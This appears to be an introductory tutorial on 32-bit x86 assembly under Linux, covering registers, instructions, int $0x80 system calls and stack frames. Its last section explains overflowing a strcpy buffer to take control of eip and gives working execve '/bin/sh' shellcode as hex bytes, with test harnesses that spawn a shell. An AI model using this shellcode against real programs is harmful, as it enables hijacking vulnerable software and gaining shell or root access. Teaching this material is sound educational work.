1 _start

1.1 Introduction

1.1.1 Prerequisites

General programming knowledge would be helpful. C Programmers will probably have little trouble keeping up since the language is very close to assembly. Some understanding of how PC memory and CPU's operate (anything you may have picked up from highschool computing studies will probably suffice).

1.1.2 Preliminary Remarks

- As far as we're concerned, your PC has Linux installed and hence is running in protected mode so each program is effectively running on its own computer.
- As far as we're concerned, your PC has infinite memory.

1.2 Register Layout and Memory

eax, ebx, ecx, edx	general purpose registers
esi	general purpose register also used by some instructions as a source pointer.
edi	general purpose register also used by some instructions as a destination pointer.
esp	stack pointer
ebp	base pointer
eip	instruction pointer

The above registers can be broken up into smaller components which themselves can be accessed as separate registers. ax corresponds to the lower 16 bits of eax. ah corresponds to the high 8 bits of ax, and al the lower 8 bits of ax. The same goes for ebx,ecx and edx.

The sp and bp are the lower 16 bits of esp and ebp respectively, however they arent used in 32 bit mode in general.

Memory can be accessed the same way as in any language where you need to explicitly deal with it, you just have a bit more control and it may be a bit more tedious.

Dynamic memory allocation in any way other than using malloc/free is beyond the scope of this paper.

NB: In some instructions there is an implied segment register associated with it. We will not concern ourselves with them.

1.3 Stack

The stack consists of two operations: *push* and *pop*. As far as we're concerned the stack is in some arbitrary position in memory, is of arbitrary size and it grows down. The stack can be used for temporary storage of registers as well as a structure called a *stack frame*. The top of the stack is pointed to by *esp*.

When you *push* data onto the stack, the size of the data is subtracted from the stack pointer and the data is copied to the address pointed to by the stack pointer.

In C this would look like:

```
void push(datatype data) {
        esp=esp-sizeof(datatype);
        *esp=data;
}
```

When you *pop* data from the stack, the data is read off the stack and then *esp* is restored to where it was prior to the data being pushed.

```
datatype pop(void) {
        datatype data=*esp;
        esp=esp+sizeof(datatype);
        return data;
}
```

1.4 Byte Order

The x86 is said to be "Little Endian", which means that data is stored in reversed byte order. If you write the hexadecimal value 0x01234567 to memory, it will actually be stored as: `67 45 23 01`.

2 Instructions

2.1 Syntax

There are two main x86 asm syntax styles (that I'm aware of). Intel syntax, and AT&T syntax. Theres no real advantages or disadvantages to using either of them, its mostly a personal preference. Some of the differences between them are trivial, some of them take some getting used to. (Most books cover Intel syntax, so i'll use AT&T).

A few differences:

- In AT&T Syntax a % is prepended to registers.
- In AT&T Syntax a $ is prepended to immediate values, and the usual base conventions are used.
- In Intel Syntax immediate hex values must start with a 0-9 digit and have a 'h' appended. Immediate binary values have a 'b' appended.
- Direction of operands, Intel goes right to left. AT&T goes left to right.
- The operand size is specified differently when required (sometimes not required at all).

Example:

Intel	AT&T
`mov eax,ebx`	`movl %ebx,%eax`
`mov eax,1`	`movl $1,%eax`
`mov eax,0ffh`	`movl $0xff,%eax`

2.1.1 Memory Operands

Perhaps the most confusing difference between syntaces is the form of a memory operand. The Intel syntax for a memory operand is very intuitive and is of the form: `[ base + index*scale + disp ]`, and this basically indexes the memory at the address specified by the expression: base + index×scale + disp. In C this would look like: `*(base + index*scale + disp)`.

The base and index are registers. The scale must be either 1,2,4 when specified, although its an optional parameter just like the index, and disp. If the scale is omitted but index is not, the scale defaults to 1. The disp is a signed integer.

In AT&T syntax the equivalent notation is: `disp(base,index,scale)`.

Example:

```
Intel               AT&T
[ebx+20h]           0x20(%ebx)
[ebx+ecx*2h]        (%ebx,%ecx,2)
[ebx+ecx]           (%ebx,%ecx)
[ebx+ecx*4h-20h]    -0x20(%ebx,%ecx,4)
```

From now on i'll refer to register, memory and immediate operands simply as reg, [mem] and immed respectively for Intel syntax and %reg,(mem) and $immed for AT&T. (Sometimes i'll specify the size as regS or memS. e.g. reg8, mem32, immed16. Mainly to emphasize the size specification on an instruction in AT&T syntax).

2.2 Instruction (Sub)Set

Some rules of thumb:

- If an instruction operates on two parameters(operands), then you can't operate on two memory parameters (or two immediate values for that matter).

- Generally instructions will set flags and in general youll only be concerned with sign, and zero flags. (I will only indicate whether it does set flags or not, the relevant ones to the operations will be set).

2.2.1 Data

<u>mov</u>: The mov instruction copies the source to the destination.

Examples:

```
Intel              AT&T
mov dest,source    movS source,dest
mov reg,reg        movl %reg32,%reg32
mov [mem],reg      movb %reg8,(mem8)
mov [mem],0        movl $0x0,(mem32)
```

NOTE: Most instructions will have the same form as mov unless otherwise specified.

<u>lods</u>: Copies the value pointed to by esi into the eax/ax/al register.

Example:

Intel	AT&T
`lodsb`	`lodsb %ds:(%esi),%al`
`lodsd`	`lodsl %ds:(%esi),%al`

<u>xchg</u>: Exchanges the data in the operands.

2.2.2 Arithmetic

<u>add</u>: Adds the operands, writing the result to the destination operand. Sets flags.

<u>sub</u>: Subtracts the source from the destination operand, writing the result to the destination operand. Sets flags.

<u>inc</u>: Increments the value of the operand.

Example:

Intel	AT&T
`inc eax`	`incl %eax`
`inc [eax+4]`	`incl 0x4(%eax)`

<u>dec</u>: Decrements the value of the operand.

<u>mul</u>: Multiplies the operand with eax, storing the result in edx:eax. (Works in the same fashion for the smaller registers).

Example:

Intel	AT&T
`mul ebx`	`mull %ebx,%eax`

<u>div</u>: Divides edx:eax by the operand, storing the quotient in eax and the remainder in edx.

2.2.3 Stack

<u>push</u>: Pushes the operand onto the stack.

<u>pop</u>: Pops the top most element on the stack, storing it in the operand.

2.2.4 Logical

These also have the same form as the mov instruction. They store the result in the destination operand unless otherwise specified.

<u>and</u>: Logical AND

<u>or</u>: Logical OR

<u>not</u>: Logical NOT (one parameter).

<u>xor</u>: Logical XOR.

<u>test</u>: Logical AND (doesnt write to register, just sets flags)

2.2.5 Flow Control

jmp: Unconditional jump. Copies the operand into the eip

cmp: Compare the operands, set flags. The comparison is done by subtracting the source operand from the destination (without storing the result) and setting the flags that would result from a sub instruction.

j*: Conditional jump. Check flags and copy operand into eip if conditions met.

j*	Jump If:	Signed
`je/jz`	Equal/Zero	
`jne/jnz`	Not Equal/Not Zero	
`js`	Negative	
`jns`	Nonnegative	
`jc`	Carry	
`jnc`	No Carry	
`jb`	Below (<)	no
`jbe`	Below or Equal (≤)	no
`jae`	Above or Equal (≥)	no
`ja`	Above (>)	no
`jl`	Less Than (<)	yes
`jge`	Greater or Equal (≥)	yes
`jle`	Less Than or Equal (≤)	yes
`jg`	Greater (>)	yes

call: The call instruction is a special kind of unconditional jump in that, before performing the jump the address of the next instruction is pushed onto the stack. Typically used to invoke a subroutine (function).

ret: Return from a subroutine by popping the address off the stack into eip.

int: Generates a software interrupt. The parameter of this instruction is an 8bit immediate value. (Used for BIOS functions as well as system calls in Linux).

3 System Calls

Syscalls consist of all the functions in the second section of the manual pages located in /usr/man/man2. They are also listed in: /usr/include/sys/syscall.h. A great list is at http://linuxassembly.org/syscall.html. These functions can be executed via the linux interrupt service: `int $0x80`.

3.1 Syscalls with less than 6 args

For all syscalls, the syscall number goes in %eax. For syscalls that have less than six args, the args go in %ebx,%ecx,%edx,%esi,%edi in order. The return value of the syscall is stored in %eax. The same process applies to syscalls which have less than five args. Just leave the un-used registers unchanged.

The syscall number can be found in /usr/include/sys/syscall.h. The macros are defined as `SYS_<syscall name>` i.e. `SYS_exit`, `SYS_close`, etc.

Example: According to the write(2) man page, write is declared as: ssize_t write(int fd, const void *buf, size_t count);

Hence fd goes in %ebx, buf goes in %ecx, count goes in %edx and `SYS_write` goes in %eax. This is followed by an int $0x80 which executes the syscall. The return value of the syscall is stored in %eax.

```
$ cat write.s
.include "defines.h"
.data
hello:
        .string "hello world\n"

.globl  main
main:
        movl    $SYS_write,%eax
        movl    $STDOUT,%ebx
        movl    $hello,%ecx
        movl    $12,%edx
        int     $0x80

        ret
$ strace ./write > /dev/null
execve("./write", ["./write"], [/* 33 vars */]) = 0
write(1, "hello world\n", 12)          = 12
_exit(0)                               = ?
```

3.2 Syscalls with more than 5 args

Syscalls whos number of args is greater than five still expect the syscall number to be in %eax, but the args are arranged in memory and the pointer to the first arg is stored in

If you are using the stack, args must be pushed onto it backwards, i.e. from the last arg to the first arg. Then the stack pointer should be copied to %ebx. Otherwise copy args to an allocated area of memory and store the address of the first arg in %ebx.

Example: (mmap being the example syscall). Using mmap() in C:

```
#define STDOUT  1

void main(void) {
        char file[]="mmap.s";
        char *mappedptr;
        int fd,filelen;

        fd=open(file, O_RDONLY);
        filelen=lseek(fd,0,SEEK_END);
        mappedptr=mmap(NULL,filelen,PROT_READ,MAP_SHARED,fd,0);
        write(STDOUT, mappedptr, filelen);
        munmap(mappedptr, filelen);
        close(fd);
}
```

The asm equivalent:

```
$ cat mmap.s
.include "defines.h"

.data
fd:         .long 0
fdlen:      .long 0
mappedptr: .long 0

.text
.globl _start
_start:
        subl $24,%esp

        movl 32(%esp),%ebx // argv[1] is at %esp+8+24
        test %ebx,%ebx
        jz exit

// open($file, $O_RDONLY);
        movl $SYS_open,%eax
        xorl %ecx,%ecx // set %ecx to O_RDONLY, which = 0
        int  $0x80

        test %eax,%eax // if return value < 0, exit
        js exit

        movl %eax,fd // save fd

// lseek($fd,0,$SEEK_END);
        movl %eax,%ebx
        xorl %ecx,%ecx // set offset to 0
        movl $SEEK_END,%edx
        movl $SYS_lseek,%eax
        int $0x80

        movl %eax,fdlen // save file length
        xorl %edx,%edx

// mmap(NULL,$fdlen,PROT_READ,MAP_SHARED,$fd,0);
        movl %edx,(%esp)
        movl %eax,4(%esp)
        movl $PROT_READ,8(%esp)
        movl $MAP_SHARED,12(%esp)
        movl fd,%eax
        movl %eax,16(%esp)
        movl %edx,20(%esp)

        movl $SYS_mmap,%eax
        movl %esp,%ebx
        int $0x80

        movl %eax,mappedptr // save ptr

//  write($STDOUT, $mappedptr, $fdlen);
        movl $STDOUT,%ebx
        movl %eax,%ecx
        movl fdlen,%edx
        movl $SYS_write,%eax
        int $0x80

// munmap($mappedptr, $fdlen);
        movl mappedptr,%ebx
        movl fdlen,%ecx
        movl $SYS_munmap,%eax
        int $0x80

// close($fd);
        movl fd,%ebx // load file descriptor
        movl $SYS_close,%eax
        int $0x80
exit:
// exit(0);
        movl $SYS_exit,%eax
        xorl %ebx,%ebx
        int $0x80

        ret
$
```

3.3 Socket Syscalls

Socket syscalls make use of only one syscall number: `SYS_socketcall` which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in

```
$ cat socket.s
.include "defines.h"

.text
.globl _start
_start:

// socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        pushl $IPPROTO_TCP
        pushl $SOCK_STREAM
        pushl $AF_INET

        movl $SYS_socketcall,%eax
        movl $SYS_socketcall_socket,%ebx
        movl %esp,%ecx
        int $0x80

        movl  $SYS_exit,%eax
        xorl  %ebx,%ebx
        int  $0x80
        ret
$ strace ./socket
execve("./socket", ["./socket"], [/* 33 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
_exit(0)                                = ?
```

4 General Programming

4.1 Stack Frame

A stack frame gives a function its own context. The stack frame is bounded by esp and ebp. To set up a stack frame for a function you do as follows:

```
function:
        pushl %ebp
        movl %esp,%ebp
        ...
```

When this function is called, after the call instruction is executed the stack pointer (esp) is pointing to the saved eip. Assume that the function calling our function also has a stack frame. To be able to return to its frame when the function returns, we save the base pointer, and then copy esp to ebp (i.e. esp was the top of the stack, now ebp is the base of the new stack frame).

To restore the previous stack frame, if ebp hasnt been modified then the top of the previous stack frame is ebp, so copy that to esp and restore ebp from the stack before returning.

```
        ...
        movl    %ebp,%esp
        popl    %ebp
        ret
```

4.2 Local Variables

The way gcc stores local function variables, is to make room for them at the bottom of the stack after setting up the stack frame. For example check thiz:

```
$ cat doot.c
void doot(void) {
        int i;
        char buf[32];

        buf[0]='a';
        i=10;
}
$ objdump -d doot.o.
doot.o:     file format elf32-i386

Disassembly of section .text:

00000000 <doot>:
   0: 55                    pushl  %ebp
   1: 89 e5                 movl   %esp,%ebp
   3: 83 ec 38              subl   $0x38,%esp
   6: c6 45 dc 61           movb   $0x61,0xffffffdc(%ebp)
   a: c7 45 fc 0a 00 00 00  movl   $0xa,0xfffffffc(%ebp)
  11: 89 ec                 movl   %ebp,%esp
  13: 5d                    popl   %ebp
  14: c3                    ret
```

4.3 Function input and output

4.3.1 Function parameters

Due to the flexibility of assembly language you can pass parameters to functions any way you want. However if you want to be able to call your functions from a C program you must push the arguments onto the stack before calling it. The order is not actually important, as long as its consistent. gcc pushes the parameters onto the stack backwards.

For example if you have a function defined as follows:

`int gcd(int a, int b);`, and your program calls gcd(123,456), then the compiled code will be something like:

```
        pushl  $456
        pushl  $123
        call   gcd
```

To retrieve the arguments, you have to index them with respect to the base pointer once in the function. The first parameter will be at 8(%ebp) (because the saved base pointer is at %ebp, the saved eip is at 4(%ebp)).

Example:

```
$ cat gcd.s
.globl gcd

gcd:
        pushl %ebp              # new stack frame
        movl %esp,%ebp
        pushl %ebx              # save regs
        pushl %edx

        movl 0x8(%ebp),%eax   # int a
        movl 0xc(%ebp),%ebx   # int b
loop:
        cmpl %ebx,%eax
        jns noswap
        xchgl %eax,%ebx       # swap a and b if a<b
noswap:
        xorl %edx,%edx       # edx=0
        div %ebx            # eax=eax/ebx
        movl %edx,%eax
        testl %edx,%edx
        jnz loop            # break if edx==0

        xchgl %eax,%ebx       # get last nonzero remainder
        popl %edx            # restore regs
        popl %ebx
        movl %ebp,%esp       # restore stack frame
        popl %ebp
        ret
```

4.3.2 Return values

The return value of a function goes in eax. This is just a convention.

4.4 Command Line Arguments

If your assembly language program starts in the main function (like a C program) then you retrive command line arguments as you would retrieve normal function parameters. The complete definition for the main function is:

`int main(int argc, char **argv, char **envp);`

Here's a program starting in main which retrieves the command line arguments and calls gcd:

```
$ cat gcdmain.s
.globl main

usagemsg:       .string "usage: ./gcdmain m n"
gcdfmt:         .string "gcd: %d\n"

main:
        pushl %ebp
        movl %esp,%ebp

        movl 0x8(%ebp),%eax
        cmpl $3,%eax
        jae cont
        pushl $usagemsg
        call puts
        jmp  done
cont:
        movl 0xc(%ebp),%esi # argv
        pushl 0x4(%esi)
        call  atoi
        pushl %eax
        pushl 0x8(%esi)
        call  atoi
        addl $4,%esp

        pushl %eax
        call gcd
        pushl %eax
        pushl $gcdfmt
        call printf
        addl $8,%esp
done:
        xorl %eax,%eax
        movl %ebp,%esp
        popl %ebp
        ret
```

However, if your asm program starts in _start, then its similar except it looks like this:

`[ argc ][ argv's ][ 00 00 00 00 ][ envp's ][ 00 00 00 00 ].`

Where esp points to the first byte of argc.

Heres a program which prints all the command line args:

```
$ cat args.s
.include "defines.h"

.text
.globl _start
_start:
        popl %ecx             # argc
lewp:
        popl %ecx             # argv
        test  %ecx,%ecx
        jz exit

        movl %ecx,%esi
        xorl %edx,%edx
strlen:
        lodsb %ds:(%esi),%al
        inc %edx
        test %al,%al
        jnz strlen
        movb $0xa,-1(%esi)

        movl $SYS_write,%eax
        movl $STDOUT,%ebx
        int $0x80

        jmp lewp
exit:
        movl $SYS_exit,%eax
        xorl %ebx,%ebx
        int  $0x80
        ret
$ strace ./args doot > /dev/null
execve("./args", ["./args", "doot"], [/* 33 vars */]) = 0
write(1, "./args\n", 7)                 = 7
write(1, "doot\n", 5)                   = 5
_exit(0)                                = ?
```

4.5 Calling asm functions in C

You must declare the function name as `.globl funcname` in the asm source. The C compiler also has to know what kind of parameters the program takes, so in the source you have to declare the function as:

`extern int funcname(int, char *);` for example.

For the following example, I wrote a few maths functions.

```
$ cat lcm.s
.globl lcm

lcm:
        pushl %ebp
        movl %esp,%ebp

        pushl %ebx
        pushl %ecx
        pushl %edx
        xorl %edx,%edx

        movl 0x8(%ebp),%ebx  # int a
        movl 0xc(%ebp),%ecx  # int b

        pushl %ebx
        pushl %ecx
        call gcd             # gcd(a,b)
        xchgl %eax,%ebx
        div %ebx            # a/gcd(a)
        mul %ecx            # a/gcd(a) * b
        addl $8,%esp

        popl %edx
        popl %ecx
        popl %ebx

        movl %ebp,%esp
        popl %ebp
        ret
$ cat phi.s
.globl phi
```

```
phi:
        pushl %ebp            # new stack frame
        movl %esp,%ebp

        pushl %ebx            # save smashed registers
        pushl %ecx
        xorl %ebx,%ebx       # ebx=0
        movl 0x8(%ebp),%ecx  # ecx=n

        pushl %ecx
loop:
        decl %ecx
        jz done
        pushl %ecx
        call  gcd
        addl $4,%esp
        decl %eax
        jnz loop
        incl %ebx
        jmp loop
done:
        xchgl %eax,%ebx
        popl %ecx
        popl %ecx
        popl %ebx
        pushl %ebx            # save smashed registers
        movl %ebp,%esp
        popl %ebp
        ret
$ cat gcdlcmphi.c
#include <stdio.h>

extern int gcd(int, int);
extern int lcm(int, int);
extern int phi(int);

int main(int argc, char **argv) {
        int a,b;
        if (argc>2) {
                a=atoi(argv[1]);
                b=atoi(argv[2]);

                printf("gcd: %d\n", gcd(a,b));
                printf("lcm: %d\n", lcm(a,b));
                printf("phi(%d) = %d\nphi(%d) = %d\n",
                        a, phi(a), b, phi(b));
        }
        return 0;
}
```

```
$ ./gcdlcmphi 123 456
gcd: 3
lcm: 18696
phi(123) = 80
phi(456) = 144
```

Note: When you write the functions in asm, the C compiler does not know which registers you have modified and assumes that everything is the same as it was before entering the function except for eax, since the return value is stored in there.

5 Assembling and Linking

So now we've got all this code, we need to check if it works! If your program starts in main, then compiling is the same as compiling a C program:

```
$ gcc -c gcd.s
$ gcc -o gcdmain gcdmain.s gcd.o
$ ./gcdmain
usage: ./gcdmain m n
$ ./gcdmain 123 456
gcd: 3
```

If your program starts in _start, then assembling is similar:

```
$ gcc -c write.s
$ ld -o write write.o
$ ./write
hello world
```

6 Shellcode

6.1 strcpy

Strcpy is a function that copies one string to another string. It does no bounds checking, it stops copying when it hits a 0 byte in the source string. If the string is a char array(local variable) on the stack then if bounds arent checked you could write past the end of the array, and past the base pointer in the strcpy's stack frame. Writing your own eip (or ebp) would give you control over the program.

6.2 Writing the shellcode

Assuming you've already taken control of the program by overwriting the eip and the eip points to your code, then you can execute any code you want. Ideally you want a root shell, and to do this you execute the `execve` system call.

The execve system call is defined as:

```
int execve(const char *filename, char *const argv [],
                        char *const envp[]);
```

and we want to write the assembly equivalent of this:

```
        char *argv[2]={"/bin/sh", NULL };
        execve("/bin/sh", argv, NULL );
```

You have to keep in mind that your code has to be position independent, and also needs to contain "/bin/sh" somewhere. Which means that you"ll have to find it.

The first way to do it is with the call-pop technique.

```
        jmp     x2
x1:     popl    %ebx
        pushl   $0xb
        popl    %eax
        movb    %ah,0x7(%ebx)
        cdq
        push    %edx
        push    %ebx
        movl    %esp,%ecx
        int     $0x80
x2:     call    x1
.ascii  "/bin/sh"
```

Since the code executes will execute from the base of the shellcode, the string needs to appear after the code. To get the address, first you jump to a call instruction which when executed pushes the eip of the next instruction("/bin/sh" in this case) onto the stack. The eip is then popped off the stack, and the address of "/bin/sh" is in ebx.

The other method is to push "/bin/sh" on the stack piece by piece, then copy esp to ebx. and continue as per the above code.

```
        pushl $0xb
        popl %eax
        cdq
        pushl $0x0168732f
        pushl $0x6e69622f
        movl %esp,%ebx
        movb %ah,0x7(%ebx)
        push %edx
        push %ebx
        movl %esp,%ecx
        int $0x80
```

Finally, lets put them to the test:

```
$ cat sctest.c
char shellcode[]=
        "\x6a\x0b\x58\x99\x68\x2f\x73\x68"
        "\x01\x68\x2f\x62\x69\x6e\x89\xe3"
        "\x88\x63\x07\x52\x53\x89\xe1\xcd\x80";

int main(void) {
        ((void (*)(void))shellcode)();
}
$ gcc -o sctest sctest.c
$ ./sctest
sh-2.04$ exit
exit
$ cat callpoptest.c
char shellcode[]=
        "\xeb\x0e\x5b\x6a\x0b\x58\x88\x63"
        "\x07\x99\x52\x53\x89\xe1\xcd\x80"
        "\xe8\xed\xff\xff\xff/bin/sh";

int main(void) {
        ((void (*)(void))shellcode)();
}
$ gcc -o callpoptest callpoptest.c
$ ./callpoptest
sh-2.04$ exit
exit
```

7 Further Reading and Tools

- http://www.intel.com/design/Pentium/manuals/: For complete documentation on Intel processors.
- http://www.gnu.org/manual/: For the documentation for a variety of GNU development tools including gas, gcc, gdb, binutils(objdump, and others). (The gas manual contains an AT&T Syntax reference).
- If you're interested in optimisation I recommend Michael Abrash's Graphics Programming Black Book.
- http://linuxassembly.org: For various tutorials on assembly programming in Linux.
- If you're interested in the layout of the executable format that Linux supports, namely ELF check out the ELF Specification. (linuxassembly.org links to a cool tutorial on writing tiny ELF executables by using a few clever tricks - "A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux").
- Also check out nasm, a unix assembler that uses Intel syntax.